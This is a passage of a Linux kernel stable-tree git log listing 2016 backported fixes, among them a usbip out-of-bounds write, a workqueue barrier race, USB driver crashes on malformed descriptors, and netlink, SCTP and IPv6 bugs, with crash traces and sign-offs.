Date: Thu Mar 17 18:00:29 2016 +0000 USB: usbip: fix potential out-of-bounds write commit b348d7dddb6c4fbfc810b7a0626e8ec9e29f7cbb upstream. Fix potential out-of-bounds write to urb->transfer_buffer usbip handles network communication directly in the kernel. When receiving a packet from its peer, usbip code parses headers according to protocol. As part of this parsing urb->actual_length is filled. Since the input for urb->actual_length comes from the network, it should be treated as untrusted. Any entity controlling the network may put any value in the input and the preallocated urb->transfer_buffer may not be large enough to hold the data. Thus, the malicious entity is able to write arbitrary data to kernel memory. Signed-off-by: Ignat Korchagin Cc: Sasha Levin Signed-off-by: Paul Gortmaker Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bf9795744dabf75438faa86d8c54179f817adbfc Author: Roman Pen Date: Tue Apr 26 13:15:35 2016 +0200 workqueue: fix ghost PENDING flag while doing MQ IO commit 346c09f80459a3ad97df1816d6d606169a51001a upstream. The bug in a workqueue leads to a stalled IO request in MQ ctx->rq_list with the following backtrace: [ 601.347452] INFO: task kworker/u129:5:1636 blocked for more than 120 seconds. [ 601.347574] Tainted: G O 4.4.5-1-storage+ #6 [ 601.347651] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 601.348142] kworker/u129:5 D ffff880803077988 0 1636 2 0x00000000 [ 601.348519] Workqueue: ibnbd_server_fileio_wq ibnbd_dev_file_submit_io_worker [ibnbd_server] [ 601.348999] ffff880803077988 ffff88080466b900 ffff8808033f9c80 ffff880803078000 [ 601.349662] ffff880807c95000 7fffffffffffffff ffffffff815b0920 ffff880803077ad0 [ 601.350333] ffff8808030779a0 ffffffff815b01d5 0000000000000000 ffff880803077a38 [ 601.350965] Call Trace: [ 601.351203] [] ? bit_wait+0x60/0x60 [ 601.351444] [] schedule+0x35/0x80 [ 601.351709] [] schedule_timeout+0x192/0x230 [ 601.351958] [] ? blk_flush_plug_list+0xc7/0x220 [ 601.352208] [] ? ktime_get+0x37/0xa0 [ 601.352446] [] ? bit_wait+0x60/0x60 [ 601.352688] [] io_schedule_timeout+0xa4/0x110 [ 601.352951] [] ? _raw_spin_unlock_irqrestore+0xe/0x10 [ 601.353196] [] bit_wait_io+0x1b/0x70 [ 601.353440] [] __wait_on_bit+0x5d/0x90 [ 601.353689] [] wait_on_page_bit+0xc0/0xd0 [ 601.353958] [] ? autoremove_wake_function+0x40/0x40 [ 601.354200] [] __filemap_fdatawait_range+0xe4/0x140 [ 601.354441] [] filemap_fdatawait_range+0x14/0x30 [ 601.354688] [] filemap_write_and_wait_range+0x3f/0x70 [ 601.354932] [] blkdev_fsync+0x1b/0x50 [ 601.355193] [] vfs_fsync_range+0x49/0xa0 [ 601.355432] [] blkdev_write_iter+0xca/0x100 [ 601.355679] [] __vfs_write+0xaa/0xe0 [ 601.355925] [] vfs_write+0xa9/0x1a0 [ 601.356164] [] kernel_write+0x38/0x50 The underlying device is a null_blk, with default parameters: queue_mode = MQ submit_queues = 1 Verification that nullb0 has something inflight: root@pserver8:~# cat /sys/block/nullb0/inflight 0 1 root@pserver8:~# find /sys/block/nullb0/mq/0/cpu* -name rq_list -print -exec cat {} \; ... /sys/block/nullb0/mq/0/cpu2/rq_list CTX pending: ffff8838038e2400 ... During debug it became clear that stalled request is always inserted in the rq_list from the following path: save_stack_trace_tsk + 34 blk_mq_insert_requests + 231 blk_mq_flush_plug_list + 281 blk_flush_plug_list + 199 wait_on_page_bit + 192 __filemap_fdatawait_range + 228 filemap_fdatawait_range + 20 filemap_write_and_wait_range + 63 blkdev_fsync + 27 vfs_fsync_range + 73 blkdev_write_iter + 202 __vfs_write + 170 vfs_write + 169 kernel_write + 56 So blk_flush_plug_list() was called with from_schedule == true. If from_schedule is true, that means that finally blk_mq_insert_requests() offloads execution of __blk_mq_run_hw_queue() and uses kblockd workqueue, i.e. it calls kblockd_schedule_delayed_work_on(). That means, that we race with another CPU, which is about to execute __blk_mq_run_hw_queue() work. Further debugging shows the following traces from different CPUs: CPU#0 CPU#1 ---------------------------------- ------------------------------- reqeust A inserted STORE hctx->ctx_map[0] bit marked kblockd_schedule...() returns 1 request B inserted STORE hctx->ctx_map[1] bit marked kblockd_schedule...() returns 0 *** WORK PENDING bit is cleared *** flush_busy_ctxs() is executed, but bit 1, set by CPU#1, is not observed As a result request B pended forever. This behaviour can be explained by speculative LOAD of hctx->ctx_map on CPU#0, which is reordered with clear of PENDING bit and executed _before_ actual STORE of bit 1 on CPU#1. The proper fix is an explicit full barrier , which guarantees that clear of PENDING bit is to be executed before all possible speculative LOADS or STORES inside actual work function. Signed-off-by: Roman Pen Cc: Gioh Kim Cc: Michael Wang Cc: Tejun Heo Cc: Jens Axboe Cc: linux-block@vger.kernel.org Cc: linux-kernel@vger.kernel.org Cc: stable@vger.kernel.org Signed-off-by: Tejun Heo Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a93515392e25bf21674c37429d6585fde164b78f Author: Laszlo Ersek Date: Thu Apr 21 18:21:11 2016 +0200 efi: Fix out-of-bounds read in variable_matches() commit 630ba0cc7a6dbafbdee43795617c872b35cde1b4 upstream. The variable_matches() function can currently read "var_name[len]", for example when: - var_name[0] == 'a', - len == 1 - match_name points to the NUL-terminated string "ab". This function is supposed to accept "var_name" inputs that are not NUL-terminated (hence the "len" parameter"). Document the function, and access "var_name[*match]" only if "*match" is smaller than "len". Reported-by: Chris Wilson Signed-off-by: Laszlo Ersek Cc: Peter Jones Cc: Matthew Garrett Cc: Jason Andryuk Cc: Jani Nikula Cc: # v3.10+ Link: http://thread.gmane.org/gmane.comp.freedesktop.xorg.drivers.intel/86906 Signed-off-by: Matt Fleming Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2f3caab10e9f5f23a4637be63d40e5119d5f5176 Author: Arnd Bergmann Date: Mon Jan 25 18:07:33 2016 +0100 ASoC: s3c24xx: use const snd_soc_component_driver pointer commit ba4bc32eaa39ba7687f0958ae90eec94da613b46 upstream. An older patch to convert the API in the s3c i2s driver ended up passing a const pointer into a function that takes a non-const pointer, so we now get a warning: sound/soc/samsung/s3c2412-i2s.c: In function 's3c2412_iis_dev_probe': sound/soc/samsung/s3c2412-i2s.c:172:9: error: passing argument 3 of 's3c_i2sv2_register_component' discards 'const' qualifier from pointer target type [-Werror=discarded-qualifiers] However, the s3c_i2sv2_register_component() function again passes the pointer into another function taking a const, so we just need to change its prototype. Fixes: eca3b01d0885 ("ASoC: switch over to use snd_soc_register_component() on s3c i2s") Signed-off-by: Arnd Bergmann Reviewed-by: Krzysztof Kozlowski Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c172c4d7dfd0ff493abcbe367251bb317766318e Author: Tony Luck Date: Fri Apr 29 15:42:25 2016 +0200 EDAC: i7core, sb_edac: Don't return NOTIFY_BAD from mce_decoder callback commit c4fc1956fa31003bfbe4f597e359d751568e2954 upstream. Both of these drivers can return NOTIFY_BAD, but this terminates processing other callbacks that were registered later on the chain. Since the driver did nothing to log the error it seems wrong to prevent other interested parties from seeing it. E.g. neither of them had even bothered to check the type of the error to see if it was a memory error before the return NOTIFY_BAD. Signed-off-by: Tony Luck Acked-by: Aristeu Rozanski Acked-by: Mauro Carvalho Chehab Cc: linux-edac Cc: Link: http://lkml.kernel.org/r/72937355dd92318d2630979666063f8a2853495b.1461864507.git.tony.luck@intel.com Signed-off-by: Borislav Petkov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a0a1c129ce104d389572431ff4c235c62bb5a125 Author: Michael Ellerman Date: Wed Apr 13 13:59:14 2016 +1000 i2c: cpm: Fix build break due to incompatible pointer types commit 609d5a1b2b35bb62b4b3750396e55453160c2a17 upstream. Since commit ea8daa7b9784 ("kbuild: Add option to turn incompatible pointer check into error"), assignments from an incompatible pointer types have become a hard error, eg: drivers/i2c/busses/i2c-cpm.c:545:91: error: passing argument 3 of 'dma_alloc_coherent' from incompatible pointer type Fix the build break by converting txdma & rxdma to dma_addr_t. Signed-off-by: Michael Ellerman Signed-off-by: Wolfram Sang Cc: stable@kernel.org Fixes: ea8daa7b9784 Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ce2cfb04280ae04f9ac1351c0a1f697b02c29bc1 Author: Vladis Dronov Date: Thu Mar 31 10:53:42 2016 -0700 Input: gtco - fix crash on detecting device without endpoints commit 162f98dea487206d9ab79fc12ed64700667a894d upstream. The gtco driver expects at least one valid endpoint. If given malicious descriptors that specify 0 for the number of endpoints, it will crash in the probe function. Ensure there is at least one endpoint on the interface before using it. Also let's fix a minor coding style issue. The full correct report of this issue can be found in the public Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1283385 Reported-by: Ralf Spenneberg Signed-off-by: Vladis Dronov Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4576d63044d8149fe2afbb509cc8bcbc4c517f19 Author: Dmitry Ivanov Date: Wed Apr 6 17:23:18 2016 +0300 nl80211: check netlink protocol in socket release notification commit 8f815cdde3e550e10c2736990d791f60c2ce43eb upstream. A non-privileged user can create a netlink socket with the same port_id as used by an existing open nl80211 netlink socket (e.g. as used by a hostapd process) with a different protocol number. Closing this socket will then lead to the notification going to nl80211's socket release notification handler, and possibly cause an action such as removing a virtual interface. Fix this issue by checking that the netlink protocol is NETLINK_GENERIC. Since generic netlink has no notifier chain of its own, we can't fix the problem more generically. Fixes: 026331c4d9b5 ("cfg80211/mac80211: allow registering for and sending action frames") Cc: stable@vger.kernel.org Signed-off-by: Dmitry Ivanov [rewrite commit message] Signed-off-by: Johannes Berg Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit beba0d907dcf66daeb370a8004985ae067b5e229 Author: Herbert Xu Date: Fri Mar 18 22:42:40 2016 +0800 crypto: gcm - Fix rfc4543 decryption crash This bug has already bee fixed upstream since 4.2. However, it was fixed during the AEAD conversion so no fix was backported to the older kernels. When we do an RFC 4543 decryption, we will end up writing the ICV beyond the end of the dst buffer. This should lead to a crash but for some reason it was never noticed. This patch fixes it by only writing back the ICV for encryption. Fixes: d733ac90f9fe ("crypto: gcm - fix rfc4543 to handle async...") Reported-by: Patrick Meyer Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5d8532c0abcab21d0de5926d0e0d578d3121ab20 Author: Robert Dobrowolski Date: Thu Mar 24 03:30:07 2016 -0700 usb: hcd: out of bounds access in for_each_companion commit e86103a75705c7c530768f4ffaba74cf382910f2 upstream. On BXT platform Host Controller and Device Controller figure as same PCI device but with different device function. HCD should not pass data to Device Controller but only to Host Controllers. Checking if companion device is Host Controller, otherwise skip. Cc: Signed-off-by: Robert Dobrowolski Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4b100d99ae86b1e0e8b7a6986614490a55580921 Author: Lu Baolu Date: Fri Apr 8 16:25:09 2016 +0300 usb: xhci: fix wild pointers in xhci_mem_cleanup commit 71504062a7c34838c3fccd92c447f399d3cb5797 upstream. This patch fixes some wild pointers produced by xhci_mem_cleanup. These wild pointers will cause system crash if xhci_mem_cleanup() is called twice. Reported-and-tested-by: Pengcheng Li Signed-off-by: Lu Baolu Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman [wt: struct xhci_hcd has no ext_caps members in 3.10 ] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 72a7f45e1b48838689be7200ef392d1ba37946c8 Author: Vladis Dronov Date: Mon Nov 16 15:55:11 2015 -0200 usbvision: fix crash on detecting device with invalid configuration commit fa52bd506f274b7619955917abfde355e3d19ffe upstream. The usbvision driver crashes when a specially crafted usb device with invalid number of interfaces or endpoints is detected. This fix adds checks that the device has proper configuration expected by the driver. Reported-by: Ralf Spenneberg Signed-off-by: Vladis Dronov Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d087e6de90056dc00e65b1723b1c8b8a792ea159 Author: Alexey Khoroshilov Date: Fri Mar 27 19:39:09 2015 -0300 usbvision: fix leak of usb_dev on failure paths in usbvision_probe() commit afd270d1a45043cef14341bcceff62ed50e8dc9a upstream. There is no usb_put_dev() on failure paths in usbvision_probe(). Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 538ad2b67ac9dc55df9103842280dda64af7795a Author: Alexey Khoroshilov Date: Mon Jun 10 17:32:29 2013 -0300 usbvision-video: fix memory leak of alt_max_pkt_size commit 090c65b694c362adb19ec9c27de216a808ee443c upstream. 1. usbvision->alt_max_pkt_size is not deallocated anywhere. 2. if allocation of usbvision->alt_max_pkt_size fails, there is no proper deallocation of already acquired resources. The patch adds kfree(usbvision->alt_max_pkt_size) to usbvision_release() as soon as other deallocations happen there. It calls usbvision_release() if allocation of usbvision->alt_max_pkt_size fails as soon as usbvision_release() is safe to work with incompletely initialized usbvision structure. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b49fe927cbff7c195e7d34cd536ff4181c1aa279 Author: Nicolai Hähnle Date: Tue Mar 15 12:56:45 2016 -0500 drm/radeon: hold reference to fences in radeon_sa_bo_new (3.17 and older) [Backport of upstream commit f6ff4f67cdf8455d0a4226eeeaf5af17c37d05eb, with an additional NULL pointer guard that is required for kernels 3.17 and older. To be precise, any kernel that does *not* have commit 954605ca3 "drm/radeon: use common fence implementation for fences, v4" requires this additional NULL pointer guard.] An arbitrary amount of time can pass between spin_unlock and radeon_fence_wait_any, so we need to ensure that nobody frees the fences from under us. Based on the analogous fix for amdgpu. Signed-off-by: Nicolai Hähnle Reviewed-by: Christian König (v1 + fix) Tested-by: Lutz Euler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0aac37c17d9de52c5f72f77ccb38f36913e58cdc Author: Alan Stern Date: Wed Mar 23 12:17:09 2016 -0400 HID: usbhid: fix inconsistent reset/resume/reset-resume behavior commit 972e6a993f278b416a8ee3ec65475724fc36feb2 upstream. The usbhid driver has inconsistently duplicated code in its post-reset, resume, and reset-resume pathways. reset-resume doesn't check HID_STARTED before trying to restart the I/O queues. resume fails to clear the HID_SUSPENDED flag if HID_STARTED isn't set. resume calls usbhid_restart_queues() with usbhid->lock held and the others call it without holding the lock. The first item in particular causes a problem following a reset-resume if the driver hasn't started up its I/O. URB submission fails because usbhid->urbin is NULL, and this triggers an unending reset-retry loop. This patch fixes the problem by creating a new subroutine, hid_restart_io(), to carry out all the common activities. It also adds some checks that were missing in the original code: After a reset, there's no need to clear any halted endpoints. After a resume, if a reset is pending there's no need to restart any I/O until the reset is finished. After a resume, if the interrupt-IN endpoint is halted there's no need to submit the input URB until the halt has been cleared. Signed-off-by: Alan Stern Reported-by: Daniel Fraga Tested-by: Daniel Fraga CC: Signed-off-by: Jiri Kosina Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3d04f97514b1bc77aebd215288b6bd2003cd0137 Author: Theodore Ts'o Date: Fri Apr 1 01:31:28 2016 -0400 ext4: add lockdep annotations for i_data_sem commit daf647d2dd58cec59570d7698a45b98e580f2076 upstream. With the internal Quota feature, mke2fs creates empty quota inodes and quota usage tracking is enabled as soon as the file system is mounted. Since quotacheck is no longer preallocating all of the blocks in the quota inode that are likely needed to be written to, we are now seeing a lockdep false positive caused by needing to allocate a quota block from inside ext4_map_blocks(), while holding i_data_sem for a data inode. This results in this complaint: Possible unsafe locking scenario: CPU0 CPU1 ---- ---- lock(&ei->i_data_sem); lock(&s->s_dquot.dqio_mutex); lock(&ei->i_data_sem); lock(&s->s_dquot.dqio_mutex); Google-Bug-Id: 27907753 Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6a50d957adb1606adf0296b26b64269f40600923 Author: Yoshihiro Shimoda Date: Thu Mar 10 11:30:15 2016 +0900 usb: renesas_usbhs: disable TX IRQ before starting TX DMAC transfer commit 6490865c67825277b29638e839850882600b48ec upstream. This patch adds a code to surely disable TX IRQ of the pipe before starting TX DMAC transfer. Otherwise, a lot of unnecessary TX IRQs may happen in rare cases when DMAC is used. Fixes: e73a989 ("usb: renesas_usbhs: add DMAEngine support") Cc: # v3.1+ Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 32f4f0020d33a216066eea2f15065a8d8530dae5 Author: Yoshihiro Shimoda Date: Thu Mar 10 11:30:14 2016 +0900 usb: renesas_usbhs: avoid NULL pointer derefernce in usbhsf_pkt_handler() commit 894f2fc44f2f3f48c36c973b1123f6ab298be160 upstream. When unexpected situation happened (e.g. tx/rx irq happened while DMAC is used), the usbhsf_pkt_handler() was possible to cause NULL pointer dereference like the followings: Unable to handle kernel NULL pointer dereference at virtual address 00000000 pgd = c0004000 [00000000] *pgd=00000000 Internal error: Oops: 80000007 [#1] SMP ARM Modules linked in: usb_f_acm u_serial g_serial libcomposite CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.5.0-rc6-00842-gac57066-dirty #63 Hardware name: Generic R8A7790 (Flattened Device Tree) task: c0729c00 ti: c0724000 task.ti: c0724000 PC is at 0x0 LR is at usbhsf_pkt_handler+0xac/0x118 pc : [<00000000>] lr : [] psr: 60000193 sp : c0725db8 ip : 00000000 fp : c0725df4 r10: 00000001 r9 : 00000193 r8 : ef3ccab4 r7 : ef3cca10 r6 : eea4586c r5 : 00000000 r4 : ef19ceb4 r3 : 00000000 r2 : 0000009c r1 : c0725dc4 r0 : ef19ceb4 This patch adds a condition to avoid the dereference. Fixes: e73a989 ("usb: renesas_usbhs: add DMAEngine support") Cc: # v3.1+ Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bc033babed946e18fdc12a1b3402c0b417ddb950 Author: Thadeu Lima de Souza Cascardo Date: Fri Apr 1 17:17:50 2016 -0300 ip6_tunnel: set rtnl_link_ops before calling register_netdevice commit b6ee376cb0b7fb4e7e07d6cd248bd40436fb9ba6 upstream. When creating an ip6tnl tunnel with ip tunnel, rtnl_link_ops is not set before ip6_tnl_create2 is called. When register_netdevice is called, there is no linkinfo attribute in the NEWLINK message because of that. Setting rtnl_link_ops before calling register_netdevice fixes that. Fixes: 0b112457229d ("ip6tnl: add support of link creation via rtnl") Signed-off-by: Thadeu Lima de Souza Cascardo Acked-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c49345b1c5efda7a4018365516ab057505adf3c3 Author: Haishuang Yan Date: Sun Apr 3 22:09:24 2016 +0800 ipv6: l2tp: fix a potential issue in l2tp_ip6_recv commit be447f305494e019dfc37ea4cdf3b0e4200b4eba upstream. pskb_may_pull() can change skb->data, so we have to load ptr/optr at the right place. Signed-off-by: Haishuang Yan Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 085abd031ceca68415196ae8557ec62fd860a8f2 Author: Haishuang Yan Date: Sun Apr 3 22:09:23 2016 +0800 ipv4: l2tp: fix a potential issue in l2tp_ip_recv commit 5745b8232e942abd5e16e85fa9b27cc21324acf0 upstream. pskb_may_pull() can change skb->data, so we have to load ptr/optr at the right place. Signed-off-by: Haishuang Yan Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 09fb73f04e4f982853323b2be10891e13f6614f2 Author: Bjørn Mork Date: Mon Mar 28 22:38:16 2016 +0200 qmi_wwan: add "D-Link DWM-221 B1" device id commit e84810c7b85a2d7897797b3ad3e879168a8e032a upstream. Thomas reports: "Windows: 00 diagnostics 01 modem 02 at-port 03 nmea 04 nic Linux: T: Bus=02 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=2001 ProdID=7e19 Rev=02.32 S: Manufacturer=Mobile Connect S: Product=Mobile Connect S: SerialNumber=0123456789ABCDEF C: #Ifs= 6 Cfg#= 1 Atr=a0 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 4 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 5 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage" Reported-by: Thomas Schäfer Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2dd80b118fc8d96fe760e783fc83d2c76d83cbd9 Author: Manish Chopra Date: Tue Mar 15 07:13:45 2016 -0400 qlge: Fix receive packets drop. commit 2c9a266afefe137bff06bbe0fc48b4d3b3cb348c upstream. When running small packets [length < 256 bytes] traffic, packets were being dropped due to invalid data in those packets which were delivered by the driver upto the stack. Using pci_dma_sync_single_for_cpu ensures copying latest and updated data into skb from the receive buffer. Signed-off-by: Sony Chacko Signed-off-by: Manish Chopra Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a5bb4f8d48dcc4b4a208512d8f508de5baf103b1 Author: Arnd Bergmann Date: Mon Mar 14 15:18:36 2016 +0100 ath9k: fix buffer overrun for ar9287 commit 83d6f1f15f8cce844b0a131cbc63e444620e48b5 upstream. Code that was added back in 2.6.38 has an obvious overflow when accessing a static array, and at the time it was added only a code comment was put in front of it as a reminder to have it reviewed properly. This has not happened, but gcc-6 now points to the specific overflow: drivers/net/wireless/ath/ath9k/eeprom.c: In function 'ath9k_hw_get_gain_boundaries_pdadcs': drivers/net/wireless/ath/ath9k/eeprom.c:483:44: error: array subscript is above array bounds [-Werror=array-bounds] maxPwrT4[i] = data_9287[idxL].pwrPdg[i][4]; ~~~~~~~~~~~~~~~~~~~~~~~~~^~~ It turns out that the correct array length exists in the local 'intercepts' variable of this function, so we can just use that instead of hardcoding '4', so this patch changes all three instances to use that variable. The other two instances were already correct, but it's more consistent this way. Signed-off-by: Arnd Bergmann Fixes: 940cd2c12ebf ("ath9k_hw: merge the ar9287 version of ath9k_hw_get_gain_boundaries_pdadcs") Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 88132c8012e7985410f9c280322f5c9d929d06fc Author: Arnd Bergmann Date: Mon Mar 14 15:18:35 2016 +0100 farsync: fix off-by-one bug in fst_add_one commit e725a66c0202b5f36c2f9d59d26a65c53bbf21f7 upstream. gcc-6 finds an out of bounds access in the fst_add_one function when calculating the end of the mmio area: drivers/net/wan/farsync.c: In function 'fst_add_one': drivers/net/wan/farsync.c:418:53: error: index 2 denotes an offset greater than size of 'u8[2][8192] {aka unsigned char[2][8192]}' [-Werror=array-bounds] #define BUF_OFFSET(X) (BFM_BASE + offsetof(struct buf_window, X)) ^ include/linux/compiler-gcc.h:158:21: note: in definition of macro '__compiler_offsetof' __builtin_offsetof(a, b) ^ drivers/net/wan/farsync.c:418:37: note: in expansion of macro 'offsetof' #define BUF_OFFSET(X) (BFM_BASE + offsetof(struct buf_window, X)) ^~~~~~~~ drivers/net/wan/farsync.c:2519:36: note: in expansion of macro 'BUF_OFFSET' + BUF_OFFSET ( txBuffer[i][NUM_TX_BUFFER][0]); ^~~~~~~~~~ The warning is correct, but not critical because this appears to be a write-only variable that is set by each WAN driver but never accessed afterwards. I'm taking the minimal fix here, using the correct pointer by pointing 'mem_end' to the last byte inside of the register area as all other WAN drivers do, rather than the first byte outside of it. An alternative would be to just remove the mem_end member entirely. Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5e3ca317a783bdc24cd84af3e723567b72aac855 Author: Sergei Shtylyov Date: Tue Mar 8 01:36:28 2016 +0300 sh_eth: fix NULL pointer dereference in sh_eth_ring_format() commit c1b7fca65070bfadca94dd53a4e6b71cd4f69715 upstream. In a low memory situation, if netdev_alloc_skb() fails on a first RX ring loop iteration in sh_eth_ring_format(), 'rxdesc' is still NULL. Avoid kernel oops by adding the 'rxdesc' check after the loop. Reported-by: Wolfram Sang Signed-off-by: Sergei Shtylyov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f63f6b71702d81769e6f05bd8124331a4ffe79bb Author: Bill Sommerfeld Date: Fri Mar 4 14:47:21 2016 -0800 udp6: fix UDP/IPv6 encap resubmit path commit 59dca1d8a6725a121dae6c452de0b2611d5865dc upstream. IPv4 interprets a negative return value from a protocol handler as a request to redispatch to a new protocol. In contrast, IPv6 interprets a negative value as an error, and interprets a positive value as a request for redispatch. UDP for IPv6 was unaware of this difference. Change __udp6_lib_rcv() to return a positive value for redispatch. Note that the socket's encap_rcv hook still needs to return a negative value to request dispatch, and in the case of IPv6 packets, adjust IP6CB(skb)->nhoff to identify the byte containing the next protocol. Signed-off-by: Bill Sommerfeld Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 677469b472bbac90bf522f7484fb5ebd27e7ab36 Author: Bjørn Mork Date: Thu Mar 3 22:20:53 2016 +0100 cdc_ncm: toggle altsetting to force reset before setup commit 48906f62c96cc2cd35753e59310cb70eb08cc6a5 upstream. Some devices will silently fail setup unless they are reset first. This is necessary even if the data interface is already in altsetting 0, which it will be when the device is probed for the first time. Briefly toggling the altsetting forces a function reset regardless of the initial state. This fixes a setup problem observed on a number of Huawei devices, appearing to operate in NTB-32 mode even if we explicitly set them to NTB-16 mode. Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f65c431fe61efc84ac1f79c3d7d5ac1b6ea03c77 Author: Florian Westphal Date: Tue Mar 1 16:15:16 2016 +0100 ipv6: re-enable fragment header matching in ipv6_find_hdr commit 5d150a985520bbe3cb2aa1ceef24a7e32f20c15f upstream. When ipv6_find_hdr is used to find a fragment header (caller specifies target NEXTHDR_FRAGMENT) we erronously return -ENOENT for all fragments with nonzero offset. Before commit 9195bb8e381d, when target was specified, we did not enter the exthdr walk loop as nexthdr == target so this used to work. Now we do (so we can skip empty route headers). When we then stumble upon a frag with nonzero frag_off we must return -ENOENT ("header not found") only if the caller did not specifically request NEXTHDR_FRAGMENT. This allows nfables exthdr expression to match ipv6 fragments, e.g. via nft add rule ip6 filter input frag frag-off gt 0 Fixes: 9195bb8e381d ("ipv6: improve ipv6_find_hdr() to skip empty routing headers") Signed-off-by: Florian Westphal Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4c87ffe91e5e5bb9435e1bf184a61b251066528e Author: Xin Long Date: Sun Feb 28 10:03:51 2016 +0800 sctp: lack the check for ports in sctp_v6_cmp_addr commit 40b4f0fd74e46c017814618d67ec9127ff20f157 upstream. As the member .cmp_addr of sctp_af_inet6, sctp_v6_cmp_addr should also check the port of addresses, just like sctp_v4_cmp_addr, cause it's invoked by sctp_cmp_addr_exact(). Now sctp_v6_cmp_addr just check the port when two addresses have different family, and lack the port check for two ipv6 addresses. that will make sctp_hash_cmp() cannot work well. so fix it by adding ports comparison in sctp_v6_cmp_addr(). Signed-off-by: Xin Long Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7377cad625181068bc4e2e589be2562d1171e21b Author: Diego Viola Date: Tue Feb 23 12:04:04 2016 -0300 net: jme: fix suspend/resume on JMC260 commit ee50c130c82175eaa0820c96b6d3763928af2241 upstream. The JMC260 network card fails to suspend/resume because the call to jme_start_irq() was too early, moving the call to jme_start_irq() after the call to jme_reset_link() makes it work. Prior this change suspend/resume would fail unless /sys/power/pm_async=0 was explicitly specified. Relevant bug report: https://bugzilla.kernel.org/show_bug.cgi?id=112351 Signed-off-by: Diego Viola Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3935aac2b878f7dfc02cf8bedb671a84528cb716 Author: Takashi Iwai Date: Fri Apr 1 12:28:16 2016 +0200 ALSA: timer: Use mod_timer() for rearming the system timer commit 4a07083ed613644c96c34a7dd2853dc5d7c70902 upstream. ALSA system timer backend stops the timer via del_timer() without sync and leaves del_timer_sync() at the close instead. This is because of the restriction by the design of ALSA timer: namely, the stop callback may be called from the timer handler, and calling the sync shall lead to a hangup. However, this also triggers a kernel BUG() when the timer is rearmed immediately after stopping without sync: kernel BUG at kernel/time/timer.c:966! Call Trace: [] snd_timer_s_start+0x13e/0x1a0 [] snd_timer_interrupt+0x504/0xec0 [] ? 